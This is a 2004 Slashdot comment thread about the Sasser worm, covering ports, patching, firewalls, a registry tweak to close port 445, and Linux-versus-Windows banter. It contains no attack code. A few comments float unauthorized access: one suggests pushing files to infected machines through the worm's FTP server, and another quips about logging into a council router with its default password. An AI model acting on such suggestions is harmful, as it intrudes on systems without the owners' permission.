      It sounds like your fonts are screwed up. I had a similiar problem and i fixed it by going to the windows font directory and opening up (double clicking) each font to see if they all "looked" right. The ones that didn't i moved out of the fonts directory into a temporary folder and then back into the fonts directory. This fixed everything and now i can see the text in Add/Remove programs and in the MS help system.

    6. Re:This close to removing win2k... by blincoln · · Score: 1

      Why you are content to use a broken system, I do not know.

      Yeah, no kidding. This isn't a problem with Windows, it's a problem with a screwed-up installation.

      We have a little over 11,000 Win2k Pro machines in use at the company I work for, and they are patched regularly. 95-99% of the time there is no problem with the patches, and when there is it has *always* been because the user has done something bad to their machine, like install dubious IE toolbars and decrepit Sumerian-era applications that replace modern DLL and OCX files with ones that were coded in cuneiform.

      It's just as possible for a Linux, Mac, etc., workstation to get in a bad state. At an old job years ago we had a Linux web/mail server that the previous sysadmin had set up, and when I tried to run X on it I got a blank screen with a cursor and no windows or other controls. Does that mean Linux is unreliable? No, it means that that particular Linux machine was in a bad state.

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      "...always new atoms but always doing the same dance, remembering what the dance was yesterday." -Richard Feynman
    7. Re:This close to removing win2k... by imroy · · Score: 1

      About your problem with Add/Remove programs: My younger brother used to have this problem with his XP box. It turned out to be caused by some weird theme he had installed, IIRC. Do you have anything like that installed?

    8. Re:This close to removing win2k... by Anonymous Coward · · Score: 0

      "when I tried to run X on it ... it means that that particular Linux machine was in a bad state."

      This is wrong, it means that you have not yet configured your window manager.

  28. Troll alert! by Anonymous Coward · · Score: 0

    Worms and spyware will simply use a home-made mutex system if we start to block the windows one.

    In general, the idea of catching windows library calls is worthless, unless the library call is absolutely necessary to the worm and the functionality cannot be done in any other way (which is not the case in Mr. Darl McBride's example).

  29. Help the poor bastards by nazsco · · Score: 5, Funny

    The worm seems to install a ftp server on infected machines. So, wouldn't it be nice to have every box that detects a connection on port 554, reply with an upload of a new wallpaper to the infected windows box with some message like "install a firewall, moron"

    I consider it a public service. Maybe you can even deduct the bandwith for the upload from you tax.

    1. Re:Help the poor bastards by insecuritiez · · Score: 1

      And go to jail just like Mr. Code Blue. Good idea but the legal system doesn't like it. Nachi.B was suposed to be a public service too.... That one messed things up more.

    2. Re:Help the poor bastards by isorox · · Score: 1

      VEry confused, if someone has a world writable ftp directory, and contacts your computer, surely they dont mind you uploading to their computer? Whats the difference between that and sending an email?

    3. Re:Help the poor bastards by insecuritiez · · Score: 1

      I guess the legal difference is that the person has not given you permission knowingly and that although something has come around and 'unlocked the door' going inside is still trespassing.

    4. Re:Help the poor bastards by isorox · · Score: 1

      But how are you to know that? If someone is sitting in a shop and the doors open and you walk in and buy something, is it your fault that's it's actually someone that's hijacked the store while the owner is away?

    5. Re:Help the poor bastards by insecuritiez · · Score: 1

      That argument is invalid. In your scenario there is a human being there giving you permission to take something out of the store in exchange for money. Whether or not that person has the authority to do that is irrelevant. In the case of an open ftp server on port 5554 it may be open and ready to use but no human being (the owner) has given you permission to use it. Don't get me wrong, I think we should be able to upload a patch and removal tool and execute it on all infected systems. The law historically has not given you the right to do that though.

  30. Oh the irony by BillLeeLee · · Score: 1

    I had updated Windows XP except for whatever patch it was for this security hole because I had heard it caused problems. Then of course, Sasser hits and targets the security hole that I didn't patch for.

    Damned if you do, damned if you don't.

    I'm rebooting into Linux. Screw you Windows.

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    1. Re:Oh the irony by Saint+Aardvark · · Score: 1

      I got lucky on this one. There was one machine at work where the patch caused problems; since it was a license server, I had to remove it. While I was trying to find a way to have my patch and a working machine, the power supply and/or motherboard died. New machine, new install of 2K, and all the patches.

    2. Re:Oh the irony by NuclearDog · · Score: 2, Interesting

      Why weren't you running a firewall?

      I usually set people up with the free version of ZoneAlarm. It stops most of these worms. Several people I know don't have this patch yet, but ZoneAlarm stopped the worm.

      Also, my gaming machine (my only one running windows) was fine because it was behind a linux firewall/router :)

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    3. Re:Oh the irony by BillLeeLee · · Score: 2, Informative

      I had stopped ZA from starting up by default for the past few days, but I enabled it which allowed me to grab that one patch.

      The worm can be removed with McAfee's stinger tool (the Mcafee link has a link to it).

      Systems all clear.

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      www.google.com
    4. Re:Oh the irony by Anonymous Coward · · Score: 0

      I started using the Kerio firewall and i find it far better than zonealarm. Its also free for personal use and as far as windows software goes its pretty damn stable.

  31. But... it does! by NSash · · Score: 0, Offtopic

    4. Gimp sucks compared to Photoshop.

    Ah, come on now. I'm as friendly to OS as anyone else, but you're just fooling yourself on this one.

    1. Re:But... it does! by The+Evil+Couch · · Score: 1

      quit feeding the trolls. they're like tribbles, man.

  32. Days like this... by C0rinthian · · Score: 5, Funny

    I REALLY hate working dial-up tech support.
    (ring)
    sigh....

    1. Re:Days like this... by DarkAce911 · · Score: 0, Redundant

      Monday is going to suck if this gets inside our firewall at work. This is the patch we did not push due to it causes 100% processor useage in some machines(MS04-11). Oh well, I am not going in to work this weekend, this worm will have all weekend to grow.

      DarkAce911

    2. Re:Days like this... by Saint+Aardvark · · Score: 1

      Oh god, I'm sorry. Used to work Saturdays too. My sincere sympathies.

  33. A little late this week by Anonymous Coward · · Score: 0

    Usually these happen on Thursday.

  34. Unoptimized algoritm... by Henk+Poley · · Score: 2, Insightful

    Don't these worm writers learn anything?

  35. some important points by R_V_Winkle · · Score: 4, Informative

    In addition to TCP 1025, the following ports are vulnerable to the LSASS exploit: TCP 135, 139, 445, and 593. UDP 135, 137, 138, and 445.

    Sasser generates traffic on TCP ports 445, 5554 and 9996.

    The patch for the vulnerability (MS04-011) can be installed through Windows Update or located at the following URL:

    http://www.microsoft.com/technet/security/bullet in /MS04-011.mspx

    1. Re:some important points by Anonymous Coward · · Score: 0

      Disable NetBios, close 137,138,139

      When NetBios is disabled port 445 is still open

      How to disable port 445?

      You can easily disable port 445 on your computer. To do so follow these instructions:

      1.

      Start Registry Editor (Regedit.exe).
      2.

      Locate the following key in the registry:

      HKLM\System\CurrentControlSet\Services\NetBT\Param eters

      3.

      In the right-hand side of the window find an option called TransportBindName.
      4.

      Double click that value, and then delete the default value, thus giving it a blank value.

      4.

      Close the registry editor.
      5.

      Reboot your computer.

  36. Bad Link...Here's the Correct One by Sangloth · · Score: 2, Informative

    This link should work for the symantec description of Sasser. Sangloth I'd appreciate any comment with a logical basis...it doesn't even have to agree with me.

  37. Once again... by Anonymous Coward · · Score: 0

    ...Mac users worldwide pause, yawn/chuckle, and resume being productive on their machines instead of patching holes or manually yanking out already-present malware.

  38. Windows update freaking out! by nazsco · · Score: 5, Funny

    after reading this on the /. front page, i runned the windows update, that i don't visit for more than a year...

    and after some time, a windows pops up with the text:
    "The software you are instaling has not passed the Windows Logo testing to verify its compatibility with Windows XP. bla bla bla"
    "This software will *not be instaled*. Contact your system administrator."

    Ok, so i contact myself, and wonders what the hell?!?

    I just give M$ a lot of information about the operating system that i'm running... they wrote the frign thing, and even so, they don't know what will run in it, or what will pass their own crap compatibility verification!

    but well, that's it... i just click "OK" --the only button-- and see the same windows appears 3 times more... and blissfuly keep my ignorance of what's going on with the instalation.

    1. Re:Windows update freaking out! by Anonymous Coward · · Score: 0
      How to turn off the Windows compatibility BS:
      1. System Properties
      2. Hardware tab
      3. Driver Signing button
      4. Click "Ignore - Install the software anyway and don't ask for my approval" radio button
    2. Re:Windows update freaking out! by NuclearDog · · Score: 4, Funny

      That always annoyed the hell out of me.

      "That action can not be performed. Please contact your system administrator."

      I always felt like and idiot talking to myself...

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    3. Re:Windows update freaking out! by LiquidCoooled · · Score: 1

      More than likely, you have customised your install by disabling certain services - I had the similar problem for a while until I realised that I had to re-enable the bits I had been playing with.

      As I recall it was the cryptographic service or something - machine works perfectly fine for everything else, but the updates require the file validating.

      Your case may be different services, but at least its a place to start :)

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    4. Re:Windows update freaking out! by nazsco · · Score: 1

      yeah, maybe we're not "system administrators" to Microsoft cause we never did their expensive mouse clicking solution expert courses, where they will tell you the secret hand-shake of the MSCsysadm and the secret registry keys that will prove that a certified sysadm have been contacted, proving the usefulness of the expensive course.

    5. Re:Windows update freaking out! by Jarnis · · Score: 4, Informative

      Your own fault disabling the Crypto service. Without it the winupdate cannot verify the signatures. Those stupid 'xp optimization guides' commonly tell you that disabling it is a good idea...

    6. Re:Windows update freaking out! by Anonymous Coward · · Score: 0

      RAN not 'runned'

    7. Re:Windows update freaking out! by horza · · Score: 1

      "That action can not be performed. Please contact your system administrator."

      I always felt like and idiot talking to myself...


      Every time I tried calling him I got an engaged tone...

      Phillip.

    8. Re:Windows update freaking out! by Xerp · · Score: 1

      Of course; the assumption is that you're an MSCE.

      Must Consult Someone Else

    9. Re:Windows update freaking out! by Glamdrlng · · Score: 1
      after reading this on the /. front page, i runned the windows update, that i don't visit for more than a year...
      For the love of all that is holy, I hope you're joking. Any windows machine that hasn't been patched in over a year has probably already been rode hard and put back wet. You may wanna install the blaster patch too while you're at it.

      and after some time, a windows pops up with the text: "The software you are instaling has not passed the Windows Logo testing to verify its compatibility with Windows XP. bla bla bla" "This software will *not be instaled*. Contact your system administrator."
      I'm gonna go out on a limb here and guess that if you haven't patched it in over a year, you haven't installed SP1? You need SP1 to install the patch. Would it really kill you to enable the Automatic Updates and be done with it?

      IT PUTS THE PATCH ON ITS BOX. IT DOES THIS WHEN IT'S TOLD.
      --

      Yes, my only tool is a hammer. And you're starting to look like a nail.
  39. I can verify this. by Anonymous Coward · · Score: 0

    424 attempts in my logs since April 29. All coming through port 1025, mostly from Asian boxes.

  40. You must be an american by empaler · · Score: 5, Funny

    Only consumer whores and other types of idiots choose to toss out the computer instead of just wiping the hard drive and installing something else.

    1. Re:You must be an american by squall14716 · · Score: 1

      Yeah, like Linux. It works for me.

      Of course you can't convince an average user to use Linux, hell they don't know what Linux is, which is a shame and a blessing all in one. Who'd have thought it?

    2. Re:You must be an american by Anonymous Coward · · Score: 0

      I knew this doctor once who was so stupid! All he ever did was help sick people for 50 years! He had NO FUCKING CLUE how to even format his hard drive! What a loser!

      Guess what? He was AMERICAN!!!!!!

    3. Re:You must be an american by Gothmolly · · Score: 0

      And you must be a troll. Welcome to foe lists, now you have even less chance of getting anything seen on here, way to go.

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  41. That's funny. by LordK3nn3th · · Score: 2, Interesting

    Speaking of worms, how easily could worms spread if it were Linux that was popular and not windows?

    I know linux is more secure, especially because of the multi-user system where root is only used for special reasons, and that many windows programs are integrated in the OS (IE, Outlook...), but how feasible WOULD it be to make worms for Linux? I really don't know. I do use Linux, and I love it. I only boot into windows for certain things such as Battlefield 1942...

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    1. Re:That's funny. by dtfinch · · Score: 1

      It'd take a two unpatched exploits. One to take over a running server, and one to elevate to root, unless the exploited server already runs as root, like ssh or often bind.

      But I can tell you now, if Linux were more popular, nearly every home user will want to run with root priveledges and have auto-login. Local security just isn't worth it for most of them.

    2. Re:That's funny. by dyefade · · Score: 1

      This is a question I've wondered about before. Notice how few responses your question recieved (apart from dtfinch, who did make some useful comments). The "Install-Linux-On-Everything" majority at Slashdot don't like to discuss the implications of your question.

      Btw, I dual boot between Fedora and WinMe at home.

    3. Re:That's funny. by Homology · · Score: 1
      It'd take a two unpatched exploits. One to take over a running server, and one to elevate to root, unless the exploited server already runs as root, like ssh or often bind.

      Good thing I use OpenBSD then, since the default install of bind will drop privileges and chroot. Similar for sshd ;-)

    4. Re:That's funny. by kasperd · · Score: 1

      One to take over a running server, and one to elevate to root

      In many cases a worm could start spreading without first gaining root priveleges. AFAIR the slapper worm worked like that. But it doesn't do much harm. You can just shut down the vulnurable server and kill the worm process to clean your system. Of course you also have to install the patch before starting the server again.

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    5. Re:That's funny. by Anonymous Coward · · Score: 0

      If Linux were the dominant OS I'm sure we would
      still have virus problems, particularly in e-mail.
      This is my belief because I think the successful
      e-mail viruses are the ones that dupe their users
      into executing them. This could be easily done on linux if you have a large base of naive users, like windows does. A virus can spread just fine in user space. Most linux desktop users these days are aware enough to not execute an email attachement. Even though it takes more work in Linux to execute an attachment, ease of use features could change that. Ignorant users will change that. However, I don't think worms would be nearly as large of a problem on Linux do to the variety of system setups and configurations the worm would have to know how to deal with.

    6. Re:That's funny. by slashtom.org · · Score: 1
      It is quite simple and has been done many times. A buffer overflow on a daemon process is all that is needed for a worm to get in. Once the worm is in, it is able to run its code with the same privaledges of that daemon, which may be root!

      Ramen worm of about 3 years ago, exploited the WU-FTPD on RedHat 6.2 systems. And don't forget, that the first Internet worm, in 1988 was through an exploit in sendmail.

      It just goes to show that not only Windows users need to get their systems fully patched. It makes little difference what OS the average users run, if it's not patched they'll still be worms around.

    7. Re:That's funny. by logical1010 · · Score: 2, Insightful
      Speaking of worms, how easily could worms spread if it were Linux that was popular and not windows?

      If Linux is now viable on the desktop as some think, (and I'm not gonna get into that right now) will it be used as securely by the computer illiterate that currently use windows? I think that people who don't have a clue will unintentionally employ improper security regardless of the capabilities of the technology. The OS, although a big part of the picture is only a part. How many regular windows folk know how to configure a hardware firewall/router properly? I know mine came with poorly chosen settings.

      I guess what I'm saying is that if Linux was more popular than windows the average IQ would be quite a few digits higher, /. would be the most popular website, and chess would be a major sporting event. I believe it is the level of intelligence/competency of the user not the software that mostly affects the success of attacks like these.

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      There is something wonderful in seeing a wrong-headed majority assailed by truth. ~John Kenneth Galbraith
    8. Re:That's funny. by Anonymous Coward · · Score: 0

      The trouble with Windows, is that if one dumbass executes a virus-laden attachment, it can hose a system completely. On *nix, the best it could do is remove a user's home directory.

      BTW, for an example on what happens when a Linux server is exploited, find the news stories on the Debian servers or the Gentoo rsync server. The Debian one got hit by a kernel bug (was patched soon), the Gentoo server had a vulnerability in rsync.

      Still, there are limited points an attacker can hack a *nix box and expect to do serious damage. Finding a remote code execution bug in a web browser just doesn't have the same potential in *nix than in Windows.

    9. Re:That's funny. by mckyj57 · · Score: 1

      > It is quite simple and has been done many times. A buffer overflow on
      > a daemon process is all that is needed for a worm to get in. Once the
      > worm is in, it is able to run its code with the same privaledges of
      > that daemon, which may be root!

      More and more often today, Linux daemons don't run as root.
      It is hard to find a remote-exploitable process nowadays -- the usual
      method of rooting is to gain local access and elevate privileges. That
      is certainly possible, but exceedingly hard to mass-produce.

  42. Well done, submitter! by 6Yankee · · Score: 5, Funny

    How refreshing. A Slashdot article about a worm exploiting Windows, without the usual childish jibes. Or FUD. Or spelling mistakes. Well done, Dynamoo!

    Of course, then came the comments... :-)

    1. Re:Well done, submitter! by Dynamoo · · Score: 1

      Why.. thank you :) I did check my speling quite carfully to.

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    2. Re:Well done, submitter! by Anonymous Coward · · Score: 0

      The comments have been pretty tame so far as well. People are becoming numb to the worms again. :)

  43. but surely by Anonymous Coward · · Score: 1
    Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you?
    Why would they need to? A good Windows user is a dead Windows user.
  44. I was wondering... by lazy_arabica · · Score: 5, Funny

    ... if we replaced the posts of this thread with the messages posted after a previous worm-announcement, would anyone notice ? :)

    Linux_Zealot says : 5 Insightful - I am using Linux now !
    M$_wizard : 5 Interesting - Worms always appear after a security notice from Microsoft Knowledge Base ; so, openness is bad !
    security_Teacher : 5 Insightful - Of course, no one should run anything as root but cricital administration tasks, and a firewall is essential.
    n00b : -1 Troll - Windows Sucks !!!

    Well... That's just a little... repetitive ;-)

    1. Re:I was wondering... by e.colli · · Score: 1

      You forgot the Mac_Zealot: 3 Informative...

    2. Re:I was wondering... by Tim+Ward · · Score: 1

      You forget:

      Grown-up says: -1 Troll - Of course if Linux were as popular as Windows then all the worms would be ported to Linux

      (... and I await this getting -1 Troll, let's see how many minutes ...)

    3. Re:I was wondering... by kasperd · · Score: 5, Interesting

      a firewall is essential.

      It sure is. The last worm wouldn't have worked without one.

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    4. Re:I was wondering... by $anchez · · Score: 1

      well hey if you are a new user then you won't have read it all before so its still interesting to someone like me(i.e. a new user)

    5. Re:I was wondering... by kasperd · · Score: 1

      so its still interesting to someone like me

      You must be new here.

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  45. Who needs a firewall...? by Anonymous Coward · · Score: 0

    Just unbind 'Client for Microsoft Networks' and 'File and Printer Sharing for Microsoft Networks' on your NIC. That way, unless someone can exploit basic TCP/IP services like echo, you should be safe.

    1. Re:Who needs a firewall...? by Anonymous Coward · · Score: 0

      But what about Remote Procedural Call? Isn't that impossible to lock down without a firewall? I seem to recall a lot of these worms exploiting RPC.

    2. Re:Who needs a firewall...? by dicepackage · · Score: 1

      That is why you run windows update so that the Remote Procedural Call can be properly patched. I know Microsoft ussually takes forever to publish updates but the patch for this was released before the Blaster worm was released.

  46. Could you try to find out? by empaler · · Score: 4, Funny

    After I changed email address, I couldn't figure out where I'd subscribed to that newsletter, either... I'd really like it back...

    1. Re:Could you try to find out? by BokLM · · Score: 1

      is that what you're looking for ?

    2. Re:Could you try to find out? by OmegaBlac · · Score: 1
      After I changed email address, I couldn't figure out where I'd subscribed to that newsletter, either... I'd really like it back...

      Just post your email address on ./ in plain view and I am sure you will be receiving your "newsletter(s)" very shortly again...;)
    3. Re:Could you try to find out? by empaler · · Score: 1

      Coolness! It's suckmysweatyhairysstickysmellyballs@tellier.dk - thanks!

  47. Secunia Alert by Anonymous Coward · · Score: 0

    Secunia also alerted about this worm several hours ago, they have a great page about it with lots of details: Sasser worm details

  48. nasty by super_ogg · · Score: 0

    I re-formatted my system and put my firewall up. It was an older version so I uninstalled it and got pre-occupied for 2 minutes... before I had the new one up, Blaster worm. 10 minutes later, re-format.

    Damn worm writers.
    ogg

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  49. Windows XP SP1 Fixed This! by Dave419 · · Score: 2, Informative

    Everyone knows not to use windows products until after at least 1 service pack, this is an old problem that was fixed with service pack 1. I hope no one on /. is affected by this, because even if you miss most updates, the service packs are the important ones. I run Windows XP Pro at home so this post raised my concern at first, but if anyone actually read the Microsoft security bulletin, you would all know this. Before I get flamed for running Windows, that box mostly just runs games, though sometimes I have it running distccKNOPPIX to help cross-compile for my Gentoo Box, its time to rebuild again now that 2004.1 came out!!!!

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    1. Re:Windows XP SP1 Fixed This! by Anonymous Coward · · Score: 0

      Phew! Good thing I saved the 133 MB Service Pack Network Install. I just reinstalled a few days ago and before I was connected to the net, I already had the SP1 merged into my box.

    2. Re:Windows XP SP1 Fixed This! by Anonymous Coward · · Score: 0

      > this is an old problem that was fixed with service pack 1.

      The problem is that SP1 breaks a lot of software! I manage about 40 Dell's at one site running XP, and we can't run SP1 on a single one of them. Most of the ones that were bought 20 months ago won't allow logins after installing SP1. The rest will install SP1, boot correctly, and allow logins, but they won't run several older DOS apps that we still use every day. I've heard the same thing from all of my customers that I've talked to. SP1 just isn't an option for any of the business users I've dealt with.

    3. Re:Windows XP SP1 Fixed This! by RoadkillBunny · · Score: 1

      its time to rebuild again now that 2004.1 came out!!!!

      I would be appling the patch too, exept I am still emerging gnome (new install since yesterday night ;))...

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    4. Re:Windows XP SP1 Fixed This! by blincoln · · Score: 3, Informative
      --
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    5. Re:Windows XP SP1 Fixed This! by Jugalator · · Score: 1

      I'd check Microsoft themselves instead of relying on third party sites, and lookie...

      Affected Software:

      Microsoft Windows NT® Workstation 4.0 Service Pack 6a - Download the update
      Microsoft Windows NT Server 4.0 Service Pack 6a - Download the update
      Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 - Download the update
      Microsoft Windows 2000 Service Pack 2, Microsoft Windows 2000 Service Pack 3, and Microsoft Windows 2000 Service Pack 4 - Download the update
      Microsoft Windows XP and Microsoft Windows XP Service Pack 1 - Download the update
      Microsoft Windows XP 64-Bit Edition Service Pack 1 - Download the update
      Microsoft Windows XP 64-Bit Edition Version 2003 - Download the update
      Microsoft Windows Server(TM) 2003 - Download the update
      Microsoft Windows Server 2003 64-Bit Edition - Download the update
      Microsoft NetMeeting
      Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft Windows Millennium Edition (ME)

      However, my Windows Update agent aren't reporting anything, so it probably installed the fix some weeks ago.

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    6. Re:Windows XP SP1 Fixed This! by EvilGrin666 · · Score: 1

      you know you can run distcc under cygwin, right?

    7. Re:Windows XP SP1 Fixed This! by boxless · · Score: 1

      No it doesn't. You need to apply MS04-011, which is very much post-SP1.

    8. Re:Windows XP SP1 Fixed This! by blincoln · · Score: 1

      I'd check Microsoft themselves instead of relying on third party sites

      That site was linked to from the MS security bulletin itself. I didn't see a way to find out the details of the vulnerability without leaving the MS site.

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    9. Re:Windows XP SP1 Fixed This! by Anonymous Coward · · Score: 0

      Get software that doesn't suck then.

    10. Re:Windows XP SP1 Fixed This! by Peaceful_Patriot · · Score: 1

      Not all SPs are a good idea. Read the EULA for W2K SP4. It contains a long section on the new DRM 'features' it installs.

      I promptly install all critical updates, but am suspicious of the other crap that is bundled with the 'service packs'.

      Learn to read those EULAs kids!

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  50. Working at PC Club by donkeyoverlord · · Score: 3, Funny

    This is like a freaking death sentence considering everyone in town thinks that this is there own free computer tech support hot line.

  51. Not to sound anal, by Anonymous Coward · · Score: 0

    but it's per se

  52. This totally sucks. by mark-t · · Score: 5, Interesting
    I was never in any danger of being infected by this worm, but about 3 days ago, I noticed I was getting almost a steady stream of traffic on my lan when nobody was using any computers... A quick check with ethereal showed that it was all port 445 stuff, and I was getting as many as 10 packets every second coming from various IP addresses.

    So for the past few days, I've had to live with part of my bandwidth getting chewed up by incoming packets that don't actually do anything but take up space. It effectively slowed the speed of downloads by about half. The rate of packets is starting to slow down now... finally (I guess as people patch their systems), but it still was highly annoying.

    Anyways, I called my ISP when I first noticed it 3 days ago (after checking it with ethereal), and asked if they could help. They told me that this was caused by filesharing programs, which I knew wasn't the case becuase in fact the only port 445 stuff I've done is windows filesharing, and I've secured the one and only Windows system on my LAN against IP addresses other than other ones on my LAN from being able to access them. Needless to say, this answer did not impress me. Here I was, effectively being subjected to a DoS attack, and they are trying to tell me this is _my_ fault? Man, if I had any other choice for high speed internet, I'd be switching in a heartbeat.

    Anyways, that's my story. Things like this totally bite because you can have a firewall and all the security precautions in the world, but worms like this still chew up your bandwidth.

    1. Re:This totally sucks. by NuclearDog · · Score: 0, Redundant

      "It effectively slowed the speed of downloads by about half."

      <bragging>
      Well, doesn't bother me. Downloading at 600 kb/s still gets me my pr0n fast :)
      </bragging>

      Anyway. Sounds like the people at your ISP are real assholes. I've called my ISP with a similar problem before, and they said they could not help me (of course the hell-desk geek couldn't, but apparently letting customers talk to the sys admins is against their policy or something), but at least they didn't try and pin it on me. My firewall is configured to only let traffic from my windows box through if it's on specific ports which I use for games.

      I really laugh at them, when I call and tell them I have no connection, somethings wrong with my modem or something, and they say, "Ok, go Start->Settings->Control Panel". Then when I tell them I don't run windows, I'm running linux, and connected to my gateway box through SSH, most go silent.

      My other favourite is when I call them and they tell me, "Sir, I don't think you have your cable connected right, I can't ping you." First, I have no connection, of course you can't ping me you dumbass. Second, even if I did have a connection, of course you can't ping me, it's called a 'firewall' (more silence, usually).

      I guess that's what I get for calling a helpdesk that thinks having an MCSE means you know how to use a computer.

      Anyway, I'm pretty bored around here, so sorry for wasting everyone's time with my rambling. I'll go now...

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    2. Re:This totally sucks. by Anonymous Coward · · Score: 0

      Dynamic IP's are God's gift to mankind.

    3. Re:This totally sucks. by whovian · · Score: 1

      And they possibly fill up your logfiles.

      Time to remove the logging option for that port. Sigh.

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  53. Oxymoron by ArbiterOne · · Score: 0, Troll

    Windows-using != Slashdotters. There's a contradiction right there.

  54. Slashdot from Windows? by Anonymous Coward · · Score: 0

    Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you?

    I once heard of them. Do they really exist, or my friend was just trying to frighten me?
  55. I use the best anti virus on the market! by rspress · · Score: 3, Insightful

    I use the best anti virus on the market! It is called a Mac! Actually I have both a Mac and a WindowsXP Pro box with a router and firewall. Just to keep things clean my windows machine is NEVER used for checking mail. All mail is handled through the Mac. If I have a need to send mail via the PC or need to check it from the PC for some reason then Eudora Pro is used. The Outlook variants are the biggest viri available for the PC....with explorer coming in a close second.

    1. Re:I use the best anti virus on the market! by squall14716 · · Score: 1

      It's also $1000+ since you have to buy all new hardware and then you'd have to transfer your data and blah blah, whereas Linux has just as many viruses as a Mac (effectively none) and can run on pretty much any hardware out there (x86, PPC, etc).

      I would go as far as saying that Mac users are elitist bastards, but the same thing could be said about Linux users, since some of them are.

      Either way, the best virus/trojan protection is common sense and the best worm protection is a half-decent firewall. As for spyware - just google it.

    2. Re:I use the best anti virus on the market! by rspress · · Score: 1

      Well, unless you dig your computer out of the trash behind CompUSA you have to pay something for a computer.

      I always here the term elitist when it comes to Mac users but then this usually comes from people who think that Microsoft Windows is the be all, end all. These people are just as elitist as any Mac user, perhaps even more so.

      True, that common sense is the best defense but common sense, isn't.

  56. MS recycled the Blaster worm warning by Anonymous Coward · · Score: 0

    Look at the title of the Sasser worm "what you should do..." page, it says Blaster not Sasser.

  57. When you think about it... by Man+in+Spandex · · Score: 0

    Updating windows for the average user doesn't give a bigger headache than fixing something on linux (unless using debian-based distros or gentoo) but is it the same story for companies running winnt-based servers? Just curious since it must be annoying for them and must be these things which makes them think of moving away from the buttafly!

  58. Internet Storm Center by thedillybar · · Score: 1
    I was about to bookmark the Internet Storm Center when I realized the site had already been Slashdotted.

    Woops, nevermind...

  59. Outside the firewall... by BJZQ8 · · Score: 4, Interesting

    I pity my educational counterparts in other districts...one in particular has probably a dozen Win2K/W2K3 machines sitting outside the firewall...no protection whatsoever. No, they do not do regular updates...just when something breaks. Oh well, they'll just hire their friendly neighborhood MCSE consultants to come in at $150 an hour to "sell them some protection." It seems like it's always firefighting with Windows anymore...And no, I do NOT run Windows on any server in my district...

    1. Re:Outside the firewall... by name773 · · Score: 1

      good job! i asked why they didn't use oss at my school (via the question box) and the reply was "it's not supported".

    2. Re:Outside the firewall... by ProudClod · · Score: 2, Interesting

      Preach brother.

      At our school, although we are unfortunately a 99% m$ shop, we run all our stuff through a p166 running linux as a gateway. We actually have a cisco 2600 provided by the council, but as they refuse to give us admin access to it, we bypassed it.

      Now, at the time of blaster we were absolutely fine. No infections. Yet the idiots in many other schools managed to saturate our shared net connection (fibre!) for 2 solid weeks!

      So rather than chucking that old p166, use it for something useful. Don't trust Mr. Cisco provided by the council to work just fine protecting your 2K server - do it yourself.

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    3. Re:Outside the firewall... by name773 · · Score: 1

      cisco eh? just use the default password

    4. Re:Outside the firewall... by zardie · · Score: 1

      The killer is with mobile machines, machines that live behind a firewall most of the time but they might be taken to a different location (eg, a work machine taken home) and plugged directly into a DSL or cable connection.

      THen the system gets infected and is plugged into the work network. Blammo.

  60. Is this by Anonymous Coward · · Score: 0

    another piece of software I can't get for my mac?

  61. Not Spreading by Sonicated · · Score: 1

    I've been working in the Technical Support department of a major Anti-Virus company all day and I am currently speaking to the first customer who is infected with this worm. Hopefully it won't spread.

  62. windows users never fail to amaze me. by Anonymous Coward · · Score: 2, Informative

    most of these problems they have (certain virii, spyware adware) could be alleviated and less of a threat simply by running limited user accounts instead of running as an "admin" all the time.

    tested this in my home network (the other half has to have windows) her rights are set by a samba acting as a PDC(i was bored), but basically boils down to a simple matter of her account is considered a "limited account" to her local XP machine...if something needs to be installed or needs admin rights she can explicitly tell it to by using the run as...

    i've went from cleaning 50+ items / week off that machine to maybe 3-4 and those are simply cookies being reported as "spyware".

    1. Re:windows users never fail to amaze me. by Nevo · · Score: 3, Insightful

      Actually, this particular attack cannot be mitigated by running as admin.

      It attacks a genuine hole in the operating system and is not dependent on anyone even being logged on to the machine at all. It 'hijacks' the LSASS process, wich runs in the SYSTEM context. The operating system could not run if LSASS wasn't running as SYSTEM.

      Of course, the patch has been available for >2 weeks now, so all of this *should* be moot.

    2. Re:windows users never fail to amaze me. by Mad+Bad+Rabbit · · Score: 1

      "But if I don't have Administrator authority, I can't
      install this "cute-dancing-puppy-trojan.exe" which
      arrived in an e-mail attachment from some stranger.
      Ok, sure it might have viruses in it, but if I don't
      install it, I MIGHT MISS SOMETHING MILDLY AMUSING!"

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    3. Re:windows users never fail to amaze me. by Anonymous Coward · · Score: 0

      Of course, the patch has been available for >2 weeks now, so all of this *should* be moot.

      Ha. You don't have a stupid corporate office that insists on testing patches for weeks as a CYA manuever. Against what? Broken business apps. Duh.

    4. Re:windows users never fail to amaze me. by zardie · · Score: 1

      I'd patch my system... ..if I could.

      I'm running the service pack 2 beta release. Microsoft have a different chain of updates for SP2 beta and they don't have a patch available.

      The killer is that there'll be a whole stack of users out there running the SP2 preview release with automatic updates turned on and they'll think they're safe.

  63. Smelly by ConsoleDeamon · · Score: 1

    tribbles are nothing compared to trolls.
    besides trolls smell.

  64. Stop the code rehash by Gary+Destruction · · Score: 1, Flamebait

    Microsoft needs to stop rehashing NT 4.0 code into Windows 2000, XP and 2003. Isn't it funny how an exploit in NT 4.0 also appears on NT 5.x systems?

    1. Re:Stop the code rehash by blincoln · · Score: 1

      Isn't it funny how an exploit in NT 4.0 also appears on NT 5.x systems?

      No, not really. If they weren't using NT code, why would they call it NT5.x, even internally?

      I know... they should completely re-write their OS for every release! I'm sure that would make it more secure =P.

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    2. Re:Stop the code rehash by Anonymous Coward · · Score: 0

      and the kernel devs should stop rehashing all that code from 2.4 into the 2.6 kernel...

    3. Re:Stop the code rehash by Gary+Destruction · · Score: 1

      I mean rehash as in put the exact same code in. In other words, they shouldn't just blindly include old code without thoroughly examining it first.

  65. If you wonder what a virus is : by chrysalis · · Score: 2, Funny

    Here is an introduction to virus for non-windows users.

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  66. Windows is a joke, but hey, smile. by t_allardyce · · Score: 1

    A countdown timer telling me windows is going to shut down in 1 minute is great for keeping me on my toes in the morning, managed to do a quick search and was half-way reading through a forum when it restarted :( installed the 'patch and it seems to have been fixed, but i thought windows update was supposed to be automatic?!?! it regularly reminds me to install new patches, why not this?

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    1. Re:Windows is a joke, but hey, smile. by TeddyR · · Score: 2, Informative

      There are several modes for the "automatic" updates; some depend on OS/SP and if you have SUS/WUS installed. (if its a work laptop, they may have SUS/WUS configured for the updating process.)

      In 2k and XP, you can

      1- do nothing
      2- Ask before downloading and before installing. (only admin users can say yes)
